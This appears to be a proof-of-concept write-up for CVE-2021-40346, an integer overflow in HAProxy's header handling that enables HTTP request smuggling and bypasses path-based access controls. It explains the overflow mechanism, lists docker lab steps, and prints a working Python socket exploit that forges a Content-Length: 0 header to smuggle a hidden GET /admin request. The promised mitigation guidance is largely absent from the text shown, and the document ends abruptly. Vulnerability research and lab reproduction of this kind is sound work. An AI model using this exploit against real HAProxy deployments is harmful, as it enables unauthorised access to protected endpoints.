
PoC exploit for CVE-2021-40346: HAProxy integer overflow enabling HTTP request smuggling and ACL bypass. Includes analysis, reproduction steps, and mitigation guidance.
htx_add_header() function, which stores HTTP headers in the internal HTX format.http-request based path access control rules (e.g., path_beg /admin) configured — these rules are the target of bypass.When HAProxy stores HTTP headers in the internal HTX format, it records the header name length in an 8-bit field (max 255). The htx_add_header() function lacks validation of this length, so sending a name longer than 256 bytes causes an integer overflow, and the overflowed bits spill into the adjacent value length field.
By making the header name exactly 270 bytes (270 mod 256 = 14), HAProxy misinterprets it as "Content-Length" (14 characters) and reads the overflowed 1 byte as the value. Placing "0" in that position creates a forged Content-Length: 0 header.
When a real Content-Length header is sent after this forged header, HAProxy adopts the first one (forged 0) among the duplicate headers and discards the real value. At this point, the process of reading the actual body from the client works correctly based on the original text, but the header passed to the backend contains the forged value (0), resulting in a mismatch between the actual received body size and the size reported to the backend.
The backend trusts the reported value (0), considers the request complete, and then reinterprets the original body data as a completely new request. Since HAProxy's ACL checks are performed only on the initial request line earlier, the hidden second request reaches the backend without being inspected. As a result, all configured http-request ACLs are bypassed.
Run docker compose up --build -d to start the vulnerable test environment (haproxy ver.2.2.16 / backend: gunicorn)
Test that HAProxy and the backend server are active with the following code:
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Run the PoC code with python3 poc.py --host 127.0.0.1 --port 8080
Check via docker logs cve-2021-40346-backend --tail 5 whether the /admin request was actually processed by the backend.
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
As shown above, the backend processes a GET request to the restricted /admin endpoint.
htx_add_header())